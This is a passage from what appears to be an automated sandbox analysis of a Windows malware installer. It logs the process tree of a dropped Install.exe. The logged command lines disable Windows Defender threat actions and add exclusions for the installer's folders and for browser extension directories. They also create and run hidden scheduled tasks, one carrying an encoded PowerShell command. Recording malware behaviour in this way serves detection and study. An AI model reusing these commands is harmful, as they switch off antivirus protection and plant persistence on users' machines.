                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:6112
                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:6060
                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:5404
                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:5328
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:4524
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:2600
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                          PID:948
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                        powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                        • Drops file in System32 directory
                                                                                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                        PID:5016
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                          "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:2224
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                PID:3844
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                PID:5420
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:2412
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:5396
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:5432
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:5652
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:5560
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:5536
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:5372
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:5544
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VyWMmqtuSNndeGVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                  PID:5232
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VyWMmqtuSNndeGVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:5172
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:5388
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:5360
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:5612
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:5796
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:5792
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:2156
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WPGfhLqOzAIwKSwi /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:2064
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WPGfhLqOzAIwKSwi /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:3728
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                  schtasks /CREATE /TN "gqBTydTja" /SC once /ST 00:27:37 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                                                                                                                                                  PID:5600
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                  schtasks /run /I /tn "gqBTydTja"
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:3540
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                    schtasks /DELETE /F /TN "gqBTydTja"
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:5844
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                      schtasks /CREATE /TN "XyyyteIMwZeutaZuw" /SC once /ST 00:05:44 /RU "SYSTEM" /TR "\"C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\nPaSoab.exe\" GH /LjtUdidlN 385118 /S" /V1 /F
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                      • Drops file in Windows directory
                                                                                                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                                                                                                      PID:6132
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                      schtasks /run /I /tn "XyyyteIMwZeutaZuw"
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:5476
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSC01.tmp\Install.exe
                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSC01.tmp\Install.exe it /cfUdidbSPE 385118 /S
                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                      PID:5688
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                          PID:5840
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                            forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                              PID:6060
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                  PID:6112
                                                                                                                                                                                                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                      PID:5140
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                  forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                    PID:3844
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                        PID:1560
                                                                                                                                                                                                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                            PID:5272
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                          PID:5252
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                              PID:5504
                                                                                                                                                                                                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                  PID:5620
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                              forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                PID:5496
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                    PID:5704
                                                                                                                                                                                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                        PID:5856
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                                    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                      PID:5904
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                          PID:5924
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                            powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                            • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                            PID:5940
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                                                                                                                              "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                PID:5728
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                        powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 